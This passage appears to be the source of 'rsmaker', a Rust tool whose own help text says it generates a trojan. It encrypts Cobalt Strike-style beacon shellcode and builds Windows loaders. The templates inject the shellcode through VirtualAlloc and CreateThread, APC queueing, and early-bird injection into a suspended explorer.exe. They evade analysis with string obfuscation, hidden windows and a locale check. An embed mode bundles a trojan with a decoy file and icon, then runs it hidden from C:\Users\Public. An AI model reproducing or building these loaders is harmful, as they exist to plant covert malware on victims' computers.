base64_encode(shellcode); 81 | 82 | (shellcode,password1,password2) 83 | 84 | } -------------------------------------------------------------------------------- /src/earlybird/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod earlybird; -------------------------------------------------------------------------------- /src/embed/embed.rs: -------------------------------------------------------------------------------- 1 | use rust_embed::RustEmbed; 2 | use std::fs::{write,create_dir_all}; 3 | use rsmaker::read_file; 4 | use rsmaker::complie; 5 | 6 | #[derive(RustEmbed)] 7 | #[folder = "temp"] 8 | struct Asset; 9 | 10 | pub fn make_rs(filename:String,trojan:String,icon:String)->(){ 11 | 12 | let main = Asset::get("embed/main.rs").unwrap(); 13 | let main_str = std::str::from_utf8(main.data.as_ref()).unwrap(); 14 | 15 | let build = Asset::get("embed/build.rs").unwrap(); 16 | let build_str = std::str::from_utf8(build.data.as_ref()).unwrap(); 17 | 18 | let toml = Asset::get("embed/Cargo.toml").unwrap(); 19 | let toml_str = std::str::from_utf8(toml.data.as_ref()).unwrap(); 20 | 21 | let icon_rc = Asset::get("embed/icon.rc").unwrap(); 22 | let icon_rc_str = std::str::from_utf8(icon_rc.data.as_ref()).unwrap(); 23 | 24 | 25 | 26 | let fake:Vec<&str> = filename.split(".").collect(); 27 | 28 | println!("wirtting files...."); 29 | let _ = create_dir_all("loader/src"); 30 | let _ = create_dir_all("loader/tep"); 31 | //let main_str = &main_str.replace("XXXX",&format!("*.{}.exe",&fake[1])); 32 | //println!("please do not forget change the prefix of the file name as {}.exe",&fake[1]); 33 | let _ = write(format!("loader/src/main.rs"), main_str); 34 | let toml_str = &toml_str.replace("embed-rs", &fake[0]); 35 | let _ = write(format!("loader/Cargo.toml"), toml_str); 36 | let _ = write(format!("loader/build.rs"), build_str); 37 | let icon_rc_str = &icon_rc_str.replace("test", &icon); 38 | let _ = write(format!("loader/icon.rc"), icon_rc_str); 39 | copy_file(filename,trojan,icon); 40 | 41 | 42 | } 43 | 44 | 45 | pub fn run(file:String,trojan:String,icon:String)->std::io::Result<()>{ 46 | 47 | make_rs(file,trojan,icon); 48 | 49 | complie(); 50 | Ok(()) 51 | } 52 | 53 | pub fn copy_file(filename:String,trojan_name:String,icon_name:String){ 54 | println!("copying file...."); 55 | let fakename:Vec<&str> = filename.split(".").collect(); 56 | 57 | let file = read_file(filename.clone()); 58 | let _ = write(format!("loader/tep/{}",filename), file); 59 | 60 | let trojan = read_file(trojan_name.clone()); 61 | let _ = write(format!("loader/tep/{}.exe",fakename[0]), trojan); 62 | 63 | let icon = read_file(icon_name.clone()); 64 | let _ = write(format!("loader/{}",icon_name), icon); 65 | 66 | } -------------------------------------------------------------------------------- /src/embed/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod embed; -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | #![feature(array_chunks)] 2 | use std::fs::read; 3 | use std::fs::remove_dir_all; 4 | use std::process::Command; 5 | use uuid::Uuid; 6 | 7 | pub const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 8 | pub const RANDOM_AES_KEY: &[u8] = b"abcdefghijklmnopqrstuvwxyz"; 9 | pub const PASSWORD_LEN: usize = 10; 10 | pub const AES_PASSWORD_LEN: usize = 16; 11 | 12 | pub fn xor_fn(shellcode: Vec, xor: u8) -> Vec { 13 | let mut xor_shellcode: Vec = vec![]; 14 | for i in shellcode.iter() { 15 | xor_shellcode.push(i ^ xor) 16 | } 17 | xor_shellcode 18 | } 19 | 20 | pub fn complie() { 21 | let _ = Command::new("cmd") 22 | .arg("/c") 23 | .arg("cd loader && cargo build -Z build-std=std,panic_abort -Z build-std-features=panic_immediate_abort -Z unstable-options --out-dir ../ --target x86_64-pc-windows-msvc --release") 24 | .output() 25 | .expect("Loader make fail!"); 26 | 27 | let _ = remove_dir_all("loader"); 28 | } 29 | 30 | pub fn base64_encode(shellcode: Vec) -> String { 31 | base64::encode_config(shellcode, base64::STANDARD_NO_PAD) 32 | } 33 | pub fn base64_encode_str(shellcode: String) -> String { 34 | base64::encode_config(shellcode, base64::STANDARD_NO_PAD) 35 | } 36 | 37 | pub fn uuid_base64(shellcode: Vec) -> String { 38 | let mut real: String = String::from(""); 39 | let mut slice = shellcode.clone(); 40 | let front = slice.array_chunks_mut::<16>(); 41 | 42 | let mut slice2 = shellcode.clone(); 43 | let tail = slice2.array_chunks_mut::<16>().into_remainder(); 44 | 45 | for i in front { 46 | //println!(r#""{}","#,Uuid::from_bytes_le(i.clone())); 47 | real = real + &Uuid::from_bytes_le(i.clone()).to_string() + ","; 48 | } 49 | 50 | let mut temp: [u8; 16] = [0; 16]; 51 | let mut k = 0; 52 | for i in tail.iter() { 53 | temp[k] = i.clone(); 54 | k = k + 1; 55 | } 56 | 57 | real = real + &Uuid::from_bytes_le(temp).to_string(); 58 | 59 | base64_encode_str(real.clone()) 60 | } 61 | 62 | pub fn read_file(filename: String) -> Vec { 63 | let shellcode = match read(filename) { 64 | Ok(res) => res, 65 | Err(err) => { 66 | println!("{}", err); 67 | let _ = remove_dir_all("loader"); 68 | std::process::exit(1); 69 | } 70 | }; 71 | shellcode 72 | } 73 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | mod aes_xor; 2 | mod base64_xor; 3 | mod bird2; 4 | mod earlybird; 5 | mod embed; 6 | mod uuid_base64; 7 | use clap::{App, Arg, SubCommand}; 8 | use rsmaker::read_file; 9 | 10 | fn main() { 11 | let matches = App::new("rsmaker") 12 | .subcommand( 13 | SubCommand::with_name("generate") 14 | .about("Generate a Trojan") 15 | .arg( 16 | Arg::with_name("file") 17 | .short('f') 18 | .help("Choose a beacon.bin") 19 | .takes_value(true) 20 | .required(true), 21 | ) 22 | .arg( 23 | Arg::with_name("model") 24 | .short('m') 25 | .help("Choose one from normal, aes, uuid") 26 | .takes_value(true) 27 | .required(true), 28 | ), 29 | ) 30 | .subcommand( 31 | SubCommand::with_name("embed") 32 | .about("embed a Trojan and a normal file") 33 | .arg( 34 | Arg::with_name("file") 35 | .short('f') 36 | .help("Choose a normal file") 37 | .takes_value(true) 38 | .required(true), 39 | ) 40 | .arg( 41 | Arg::with_name("trojan") 42 | .short('t') 43 | .help("Choose a trojan file") 44 | .takes_value(true) 45 | .required(true), 46 | ) 47 | .arg( 48 | Arg::with_name("icon") 49 | .short('i') 50 | .help("Choose a icon file (xxx.ico)") 51 | .takes_value(true) 52 | .required(true), 53 | ), 54 | ) 55 | .get_matches(); 56 | 57 | if matches.subcommand_matches("generate") != None { 58 | let filename = matches 59 | .subcommand_matches("generate") 60 | .unwrap() 61 | .value_of("file") 62 | .unwrap(); 63 | let shellcode = read_file(String::from(filename)); 64 | 65 | match matches 66 | .subcommand_matches("generate") 67 | .unwrap() 68 | .value_of("model") 69 | { 70 | Some(model) => { 71 | if model == "normal" { 72 | base64_xor::base64xor::run(shellcode).unwrap(); 73 | } else if model == "aes" { 74 | aes_xor::aesxor::run(shellcode).unwrap(); 75 | } else if model == "uuid" { 76 | uuid_base64::uuidbase64::run(shellcode).unwrap(); 77 | } else if model == "bird" { 78 | earlybird::earlybird::run(shellcode).unwrap(); 79 | } else if model == "bird2" { 80 | bird2::bird2::run(shellcode).unwrap(); 81 | } 82 | } 83 | None => { 84 | println!("please choice right model name(normal,aes,uuid)"); 85 | } 86 | }; 87 | } else { 88 | let file = matches 89 | .subcommand_matches("embed") 90 | .unwrap() 91 | .value_of("file") 92 | .unwrap(); 93 | let trojan = matches 94 | .subcommand_matches("embed") 95 | .unwrap() 96 | .value_of("trojan") 97 | .unwrap(); 98 | let icon = matches 99 | .subcommand_matches("embed") 100 | .unwrap() 101 | .value_of("icon") 102 | .unwrap(); 103 | 104 | embed::embed::run(String::from(file), String::from(trojan), String::from(icon)).unwrap(); 105 | } 106 | } 107 | -------------------------------------------------------------------------------- /src/uuid_base64/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod uuidbase64; -------------------------------------------------------------------------------- /src/uuid_base64/uuidbase64.rs: -------------------------------------------------------------------------------- 1 | use rust_embed::RustEmbed; 2 | use std::fs::{write,create_dir_all}; 3 | use whoami; 4 | use rsmaker::{complie,uuid_base64}; 5 | 6 | 7 | #[derive(RustEmbed)] 8 | #[folder = "temp"] 9 | struct Asset; 10 | 11 | 12 | 13 | 14 | 15 | 16 | pub fn make_rs(base64_shellcode:String)->(){ 17 | let head = Asset::get("uuid/head.rs").unwrap(); 18 | let head_str = std::str::from_utf8(head.data.as_ref()).unwrap(); 19 | 20 | let model = Asset::get("uuid/model.rs").unwrap(); 21 | let model_str = std::str::from_utf8(model.data.as_ref()).unwrap(); 22 | 23 | let toml = Asset::get("uuid/Cargo.toml").unwrap(); 24 | let toml_str = std::str::from_utf8(toml.data.as_ref()).unwrap(); 25 | 26 | let config = Asset::get("uuid/config.toml").unwrap(); 27 | let config_str = std::str::from_utf8(config.data.as_ref()).unwrap(); 28 | 29 | let real = format!("let mut real = \"{}\";\n",base64_shellcode); 30 | let real2 = format!("let mut real = base64_decode(real.to_string());\n"); 31 | let uuidarr = format!("let uuidarr:Vec<&str> = real.split(\",\").collect();\n"); 32 | let size = format!("let SIZE =uuidarr.len();\n"); 33 | 34 | let mut new_string = String::from(""); 35 | 36 | new_string.push_str(head_str); 37 | new_string.push_str("\n"); 38 | new_string.push_str(&real); 39 | new_string.push_str(&real2); 40 | new_string.push_str(&uuidarr); 41 | new_string.push_str(&size); 42 | new_string.push_str(model_str); 43 | 44 | let _ = create_dir_all("loader/src"); 45 | let _ = create_dir_all("loader/.cargo"); 46 | let _ = write(format!("loader/src/main.rs"), new_string); 47 | let _ = write(format!("loader/Cargo.toml"), toml_str); 48 | let config_str = &config_str.replace("XXXXXXXX", &whoami::username()); 49 | let _ = write(format!("loader/.cargo/config.toml"), config_str); 50 | 51 | } 52 | 53 | 54 | 55 | 56 | pub fn run(shellcode:Vec)->std::io::Result<()>{ 57 | println!("current username is {}",whoami::username()); 58 | 59 | 60 | let base64_shellcode = uuid_base64(shellcode); 61 | println!("Encrypting shellcode..."); 62 | println!("Done..."); 63 | 64 | make_rs(base64_shellcode); 65 | 66 | println!("Compiling please wait....."); 67 | 68 | complie(); 69 | 70 | println!("Succeed!,the loader name is uuid.exe, enjoy :)"); 71 | Ok(()) 72 | } -------------------------------------------------------------------------------- /temp/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/raspberryhusky/rsmaker/f8a6e089b7c796ec2274b120102a1295e10a3077/temp/.DS_Store -------------------------------------------------------------------------------- /temp/aes/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "aesloader" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | windows = { version = "*", features = ["Win32_System_LibraryLoader","Win32_Foundation","Win32_Globalization","Win32_System_Diagnostics_ToolHelp"] } 10 | libaes = "0.6.1" 11 | base64 = "0.13.0" 12 | obfstr = "*" 13 | 14 | [profile.release] 15 | lto = true 16 | opt-level = "z" # 使用稍高一些的优化级别,最低是0,最高是3 17 | overflow-checks = false 18 | strip = "symbols" 19 | codegen-units = 1 20 | panic = 'abort' 21 | 22 | [target.x86_64-pc-windows-msvc] 23 | rustflags = ["-C", "target-feature=+crt-static"] 24 | -------------------------------------------------------------------------------- /temp/aes/config.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | rustflags = ["-C", "target-feature=+crt-static"] -------------------------------------------------------------------------------- /temp/aes/head.rs: -------------------------------------------------------------------------------- 1 | #![windows_subsystem = "windows"] 2 | 3 | use windows::Win32::Foundation::{HINSTANCE, NTSTATUS}; 4 | use windows::Win32::System::LibraryLoader::{FreeLibrary, LoadLibraryA, GetProcAddress,GetModuleHandleA}; 5 | use windows::core::{PCSTR, Error}; 6 | use std::ptr::null_mut; 7 | use std::os::raw::c_void; 8 | use libaes::Cipher; 9 | use obfstr::obfstr; 10 | 11 | 12 | type NtAllocateVirtualMemory = fn(*mut c_void,*mut *mut c_void,usize,*mut usize,u32,u32)->NTSTATUS; 13 | type NtWriteVirtualMemory = fn(*mut c_void,*mut c_void,*mut c_void,usize,*mut usize)->i32; 14 | type NtQueueApcThread = fn(*mut c_void,Option,*mut c_void,*mut c_void,*mut c_void)->NTSTATUS; 15 | 16 | fn main() { 17 | unsafe{ 18 | let p = GetModuleHandleA(PCSTR(obfstr!("kernel32.dll\0").as_ptr())).unwrap() ; 19 | 20 | let gsdl = get_addr(p,obfstr!("GetSystemDefaultLangID\0").as_bytes()); 21 | 22 | let gsdl:fn()->u16 = core::mem::transmute(gsdl); 23 | let systemlangid = gsdl(); 24 | if systemlangid != 2052{ 25 | std::thread::sleep(std::time::Duration::from_millis(40000)); 26 | std::process::exit(0); 27 | 28 | } 29 | } 30 | 31 | -------------------------------------------------------------------------------- /temp/aes/model.rs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | let cipher = Cipher::new_128(&PASSWORD1); 5 | let shellcode = base64_decode(String::from(SHELLCODE)); 6 | let decrypted = cipher.cbc_decrypt(PASSWORD2, &shellcode[..]); 7 | unsafe{ 8 | 9 | 10 | 11 | let mut allocstart : *mut c_void = null_mut(); 12 | let mut seize : usize = decrypted.len(); 13 | 14 | 15 | 16 | let lib = load(obfstr!("ntdll.dll\0").as_bytes()); 17 | 18 | let navm = get_addr(lib,obfstr!("NtAllocateVirtualMemory\0").as_bytes()); 19 | let nwvm = get_addr(lib,obfstr!("NtWriteVirtualMemory\0").as_bytes()); 20 | let nqat = get_addr(lib,obfstr!("NtQueueApcThread\0").as_bytes()); 21 | let nta = get_addr(lib,obfstr!("NtTestAlert\0").as_bytes()) ; 22 | 23 | let navm: NtAllocateVirtualMemory = core::mem::transmute(navm); 24 | let nwvm: NtWriteVirtualMemory = core::mem::transmute(nwvm); 25 | let nqat:NtQueueApcThread = core::mem::transmute(nqat); 26 | let nta:fn() = core::mem::transmute(nta); 27 | 28 | navm(-1 as _,&mut allocstart,0,&mut seize, 0x00003000, 0x40); 29 | nwvm(-1 as _,allocstart,decrypted.as_ptr() as _,decrypted.len() as usize,null_mut()); 30 | nqat(-2 as _,Some(std::mem::transmute(allocstart)) as _,allocstart,null_mut(),null_mut()); 31 | nta(); 32 | 33 | }; 34 | 35 | 36 | 37 | } 38 | 39 | 40 | 41 | 42 | 43 | pub unsafe fn get_addr(hmoudule:HINSTANCE,function: &[u8])-> *mut std::ffi::c_void { 44 | 45 | let p = match GetProcAddress(hmoudule, PCSTR(function.as_ptr())){ 46 | Some(address) => address, 47 | None =>{FreeLibrary(hmoudule);panic!("{}",Error::from_win32())} , 48 | }; 49 | p as _ 50 | } 51 | 52 | pub unsafe fn load(library: &[u8]) ->HINSTANCE{ 53 | 54 | let library = match LoadLibraryA(PCSTR(library.as_ptr())){ 55 | Ok(address) => address, 56 | Err(err) => panic!("{}", err), 57 | }; 58 | 59 | library 60 | } 61 | 62 | 63 | 64 | fn base64_decode(shellcode:String)->Vec{ 65 | base64::decode_config(shellcode,base64::STANDARD_NO_PAD).unwrap() 66 | } -------------------------------------------------------------------------------- /temp/base64xor/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "rsloader" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | 7 | [dependencies.windows] 8 | version = "0.32.0" 9 | features = [ 10 | "Win32_System_Memory", 11 | "Win32_System_Threading", 12 | "Win32_Foundation", 13 | "Win32_Security", 14 | "Win32_UI_WindowsAndMessaging", 15 | "Win32_System_Console", 16 | "Win32_Globalization", 17 | ] 18 | [dependencies] 19 | base64 = "0.13.0" 20 | 21 | 22 | [profile.release] 23 | lto = true 24 | opt-level = "z" # 使用稍高一些的优化级别,最低是0,最高是3 25 | overflow-checks = false 26 | strip = "symbols" 27 | codegen-units = 1 28 | panic = 'abort' 29 | -------------------------------------------------------------------------------- /temp/base64xor/config.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | rustflags = ["-C", "target-feature=+crt-static"] -------------------------------------------------------------------------------- /temp/base64xor/head.rs: -------------------------------------------------------------------------------- 1 | #![windows_subsystem = "windows"] 2 | use windows::Win32::System::Memory::VirtualAlloc; 3 | use windows::Win32::System::Memory; 4 | use windows::Win32::System::Threading::{CreateThread,THREAD_CREATION_FLAGS,WaitForSingleObject}; 5 | use windows::Win32::UI::WindowsAndMessaging::{ShowWindow,SHOW_WINDOW_CMD,SW_HIDE}; 6 | use windows::Win32::System::Console::GetConsoleWindow; 7 | use windows::Win32::Globalization::GetSystemDefaultLangID; 8 | use std::{env,ptr,mem,time,thread}; -------------------------------------------------------------------------------- /temp/base64xor/model.rs: -------------------------------------------------------------------------------- 1 | const PAGE_EXECUTE_READWRITE: u32 = 0x40; 2 | const MEM_COMMIT: u32 = 0x1000; 3 | const MEM_RESERVE: u32 = 0x2000; 4 | fn main() { 5 | 6 | unsafe{ 7 | let show_window_cmd = SHOW_WINDOW_CMD(0); 8 | ShowWindow(GetConsoleWindow(),show_window_cmd); 9 | let systemlangid = GetSystemDefaultLangID(); 10 | if systemlangid != 2052{ 11 | thread::sleep(time::Duration::from_millis(10000000)); 12 | std::process::exit(1); 13 | } 14 | } 15 | let locationtype = Memory::VIRTUAL_ALLOCATION_TYPE(MEM_COMMIT | MEM_RESERVE); 16 | let flprotect = Memory::PAGE_PROTECTION_FLAGS(PAGE_EXECUTE_READWRITE); 17 | 18 | let shellcode = xor_fn(base64_decode(String::from(SHELLCODE)),XOR); 19 | let new_buf = unsafe { 20 | VirtualAlloc( 21 | std::ptr::null_mut(), 22 | shellcode.len(), 23 | locationtype, 24 | flprotect, 25 | ) 26 | }; 27 | if new_buf == std::ptr::null_mut() { 28 | return; 29 | } 30 | let new_buf_ptr: *mut u8 = new_buf as *mut u8 as _; 31 | unsafe{ 32 | std::ptr::copy_nonoverlapping(shellcode.as_ptr(), new_buf_ptr, shellcode.len()); 33 | let handle = CreateThread(ptr::null_mut(), 0, Some(mem::transmute(new_buf)), ptr::null_mut(), THREAD_CREATION_FLAGS(134217728), ptr::null_mut()); 34 | if handle.is_invalid(){ 35 | std::process::exit(1); 36 | } 37 | WaitForSingleObject(handle, u32::MAX); 38 | } 39 | } 40 | 41 | fn xor_fn(shellcode:Vec,xor:u8)->Vec{ 42 | let mut xor_shellcode:Vec = vec![]; 43 | for i in shellcode.iter(){ 44 | xor_shellcode.push(i^xor) 45 | } 46 | xor_shellcode 47 | } 48 | 49 | 50 | fn base64_decode(shellcode:String)->Vec{ 51 | base64::decode_config(shellcode,base64::STANDARD_NO_PAD).unwrap() 52 | } -------------------------------------------------------------------------------- /temp/bird2/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "bird2" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | windows = {version = "0.38.0",features = ["Win32_System_Memory","Win32_System_LibraryLoader","Win32_System_Threading","Win32_Foundation"]} 10 | libaes = "0.6.1" 11 | base64 = "0.13.0" 12 | obfstr = "0.3.0" 13 | 14 | 15 | [profile.release] 16 | lto = true 17 | opt-level = "z" # 使用稍高一些的优化级别,最低是0,最高是3 18 | overflow-checks = false 19 | strip = "symbols" 20 | codegen-units = 1 21 | panic = 'abort' -------------------------------------------------------------------------------- /temp/bird2/config.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | rustflags = ["-C", "target-feature=+crt-static"] -------------------------------------------------------------------------------- /temp/bird2/head.rs: -------------------------------------------------------------------------------- 1 | #![windows_subsystem = "windows"] 2 | use std::{ptr::null}; 3 | use libaes::Cipher; 4 | use windows::{Win32::{System::LibraryLoader::{GetProcAddress, GetModuleHandleW}, Foundation::{HANDLE, PAPCFUNC}}, core::{PCWSTR, PCSTR}}; 5 | use windows::Win32::System::Memory::{VirtualAlloc,MEM_COMMIT,MEM_RESERVE,PAGE_EXECUTE_READWRITE}; 6 | use windows::Win32::System::Threading::{GetCurrentThread}; 7 | use obfstr::obfstr; 8 | 9 | type QueueUserAPC = fn(PAPCFUNC,HANDLE,usize)->u32; 10 | fn main() { -------------------------------------------------------------------------------- /temp/bird2/model.rs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | let cipher = Cipher::new_128(&PASSWORD1); 5 | let shellcode = base64_decode(String::from(SHELLCODE)); 6 | let shellcode = cipher.cbc_decrypt(PASSWORD2, &shellcode[..]); 7 | 8 | unsafe{ 9 | let dllname:Vec = obfstr!("ntdll.dll\0").encode_utf16().collect(); 10 | let fnname = b"NtTestAlert\0"; 11 | let p = GetProcAddress(GetModuleHandleW(PCWSTR(dllname.as_ptr() as _)).unwrap(), PCSTR(fnname.as_ptr())).unwrap(); 12 | let addr = VirtualAlloc(null(),shellcode.len(),MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); 13 | std::ptr::copy_nonoverlapping(shellcode.as_ptr() as _, addr, shellcode.len()); 14 | let kernel32:Vec = obfstr!("Kernel32.dll\0").encode_utf16().collect(); 15 | let queue_ueser_apc_name = b"QueueUserAPC\0"; 16 | let queue_ueser_apc_fn = GetProcAddress(GetModuleHandleW(PCWSTR(kernel32.as_ptr() as _)).unwrap(), PCSTR(queue_ueser_apc_name.as_ptr())).unwrap(); 17 | 18 | let queue_ueser_apc_fn:QueueUserAPC = std::mem::transmute(queue_ueser_apc_fn); 19 | queue_ueser_apc_fn(Some(std::mem::transmute(addr)),GetCurrentThread(),0); 20 | p(); 21 | } 22 | 23 | 24 | } 25 | 26 | fn base64_decode(shellcode:String)->Vec{ 27 | base64::decode_config(shellcode,base64::STANDARD_NO_PAD).unwrap() 28 | } -------------------------------------------------------------------------------- /temp/earlybird/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "early_bird" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | windows = {version = "0.38.0",features = ["Win32_Security","Win32_System_Diagnostics_Debug","Win32_System_Memory","Win32_System_LibraryLoader","Win32_System_Threading","Win32_UI_WindowsAndMessaging","Win32_Foundation","Win32_System_Diagnostics_ToolHelp"]} 10 | libaes = "0.6.1" 11 | base64 = "0.13.0" 12 | obfstr = "0.3.0" 13 | 14 | 15 | [profile.release] 16 | lto = true 17 | opt-level = "z" # 使用稍高一些的优化级别,最低是0,最高是3 18 | overflow-checks = false 19 | strip = "symbols" 20 | codegen-units = 1 21 | panic = 'abort' -------------------------------------------------------------------------------- /temp/earlybird/config.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | rustflags = ["-C", "target-feature=+crt-static"] -------------------------------------------------------------------------------- /temp/earlybird/head.rs: -------------------------------------------------------------------------------- 1 | #![windows_subsystem = "windows"] 2 | 3 | use libaes::Cipher; 4 | use std::ptr::{null, null_mut}; 5 | use windows::Win32::Foundation::{BOOL, CloseHandle, GetLastError}; 6 | use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory; 7 | use windows::Win32::System::Memory::{VirtualAllocEx, MEM_RESERVE, MEM_COMMIT, PAGE_EXECUTE_READWRITE}; 8 | use windows::Win32::System::Threading::{CreateProcessW,CREATE_SUSPENDED,CREATE_NO_WINDOW, STARTUPINFOW, PROCESS_INFORMATION, QueueUserAPC, ResumeThread}; 9 | use windows::Win32::Security::SECURITY_ATTRIBUTES; 10 | use std::mem::{zeroed, size_of}; 11 | use windows::core::{PCWSTR, PWSTR}; 12 | use obfstr::obfstr; 13 | 14 | fn main() { 15 | -------------------------------------------------------------------------------- /temp/earlybird/model.rs: -------------------------------------------------------------------------------- 1 | 2 | 3 | let cipher = Cipher::new_128(&PASSWORD1); 4 | let shellcode = base64_decode(String::from(SHELLCODE)); 5 | let shellcode = cipher.cbc_decrypt(PASSWORD2, &shellcode[..]); 6 | let path:Vec = obfstr!("C:\\Windows\\explorer.exe\0").encode_utf16().collect(); 7 | unsafe{ 8 | let temp = zeroed::(); 9 | let mut info = zeroed::(); 10 | info.cb = size_of::() as _; 11 | let mut info2 = zeroed::(); 12 | if CreateProcessW(PCWSTR(path.as_ptr() as _),PWSTR(std::ptr::null_mut()),&temp,&temp,BOOL(1),CREATE_NO_WINDOW|CREATE_SUSPENDED,null(),PCWSTR(null()),&info as _,&mut info2).as_bool(){ 13 | let addr = VirtualAllocEx(info2.hProcess, null(), shellcode.len(), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 14 | 15 | WriteProcessMemory(info2.hProcess, addr, shellcode.as_ptr() as _, shellcode.len(), null_mut()); 16 | 17 | QueueUserAPC(Some(std::mem::transmute(addr)),info2.hThread,0); 18 | 19 | ResumeThread(info2.hThread); 20 | 21 | CloseHandle(info2.hThread); 22 | }else{ 23 | println!("failed : {:?}",GetLastError()); 24 | } 25 | } 26 | 27 | } 28 | 29 | fn base64_decode(shellcode:String)->Vec{ 30 | base64::decode_config(shellcode,base64::STANDARD_NO_PAD).unwrap() 31 | } 32 | 33 | -------------------------------------------------------------------------------- /temp/embed/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/raspberryhusky/rsmaker/f8a6e089b7c796ec2274b120102a1295e10a3077/temp/embed/.DS_Store -------------------------------------------------------------------------------- /temp/embed/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "embed-rs" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | rust-embed="6.4.0" 10 | 11 | [build-dependencies] 12 | embed-resource = "*" 13 | 14 | [profile.release] 15 | lto = true 16 | opt-level = "z" # 使用稍高一些的优化级别,最低是0,最高是3 17 | overflow-checks = false 18 | strip = "symbols" 19 | codegen-units = 1 20 | panic = 'abort' 21 | 22 | -------------------------------------------------------------------------------- /temp/embed/build.rs: -------------------------------------------------------------------------------- 1 | extern crate embed_resource; 2 | fn main() { 3 | embed_resource::compile("./icon.rc"); 4 | } -------------------------------------------------------------------------------- /temp/embed/config.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | rustflags = ["-C", "target-feature=+crt-static"] -------------------------------------------------------------------------------- /temp/embed/icon.rc: -------------------------------------------------------------------------------- 1 | name ICON "test" -------------------------------------------------------------------------------- /temp/embed/main.rs: -------------------------------------------------------------------------------- 1 | #![windows_subsystem = "windows"] 2 | use rust_embed::RustEmbed; 3 | use std::fs::write; 4 | use std::os::windows::process::CommandExt; 5 | use std::process::Stdio; 6 | 7 | #[derive(RustEmbed)] 8 | #[folder = "tep"] 9 | 10 | struct Asset; 11 | 12 | fn main() { 13 | for i in Asset::iter(){ 14 | let filename = String::from(""); 15 | 16 | if i.as_ref().to_string().contains("exe"){ 17 | openexe(i.as_ref().to_string()); 18 | }else{ 19 | open(i.clone().as_ref().to_string()); 20 | let temp = i.as_ref().to_string().clone(); 21 | let name:Vec<&str> = temp.split(".").collect(); 22 | let _ = std::process::Command::new("cmd").creation_flags(0x08000000).arg("/c").arg(format!("del {}.exe",name[0])).spawn().unwrap(); 23 | } 24 | } 25 | 26 | 27 | } 28 | 29 | 30 | fn open(filename:String){ 31 | 32 | let file = Asset::get(format!("{}",filename).as_str()).unwrap(); 33 | 34 | 35 | 36 | let _ = write(format!("{}",filename), file.data); 37 | 38 | 39 | 40 | let _ = std::process::Command::new("cmd").creation_flags(0x08000000).arg("/c").arg(&filename).stdout(Stdio::piped()).spawn().unwrap(); 41 | 42 | } 43 | 44 | 45 | fn openexe(name:String){ 46 | let file = Asset::get(format!("{}",name).as_str()).unwrap(); 47 | let _ = write(format!("C:\\Users\\Public\\{}",name), file.data); 48 | let _ = std::process::Command::new("cmd").creation_flags(0x08000000).arg("/c").arg(format!("C:\\Users\\Public\\{}",name)).stdout(Stdio::piped()).spawn().unwrap(); 49 | } -------------------------------------------------------------------------------- /temp/uuid/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "uuid" 3 | version = "0.1.0" 4 | edition = "2021" 5 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 6 | 7 | [dependencies] 8 | windows = { version = "*",features = ["Win32_System_Rpc","Win32_Globalization", "Win32_Foundation"]} 9 | winapi = {version = "0.3.9", features = ["heapapi","handleapi","winnls","winnt","rpcdce"]} 10 | base64 = "0.13.0" 11 | [profile.release] 12 | lto = true 13 | opt-level = "z" # 使用稍高一些的优化级别,最低是0,最高是3 14 | overflow-checks = false 15 | strip = "symbols" 16 | codegen-units = 1 17 | panic = 'abort' -------------------------------------------------------------------------------- /temp/uuid/config.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | rustflags = ["-C", "target-feature=+crt-static"] -------------------------------------------------------------------------------- /temp/uuid/head.rs: -------------------------------------------------------------------------------- 1 | #![windows_subsystem = "windows"] 2 | use base64; 3 | use std::str; 4 | use std::process; 5 | use std::mem::transmute; 6 | use std::ffi::CString; 7 | use winapi::um::heapapi::{HeapCreate, HeapAlloc}; 8 | use winapi::um::handleapi::CloseHandle; 9 | use winapi::um::winnls::{EnumSystemLocalesA, LOCALE_ENUMPROCA}; 10 | use winapi::um::winnt::{HEAP_CREATE_ENABLE_EXECUTE}; 11 | use winapi::shared::basetsd::DWORD_PTR; 12 | use winapi::shared::ntstatus::STATUS_SUCCESS; 13 | use windows::Win32::System::Rpc::{RPC_STATUS, UuidFromStringA}; 14 | use windows::core::GUID; 15 | 16 | fn main() { -------------------------------------------------------------------------------- /temp/uuid/model.rs: -------------------------------------------------------------------------------- 1 | unsafe { 2 | // Creating and Allocating Heap Memory 3 | 4 | let h_heap = 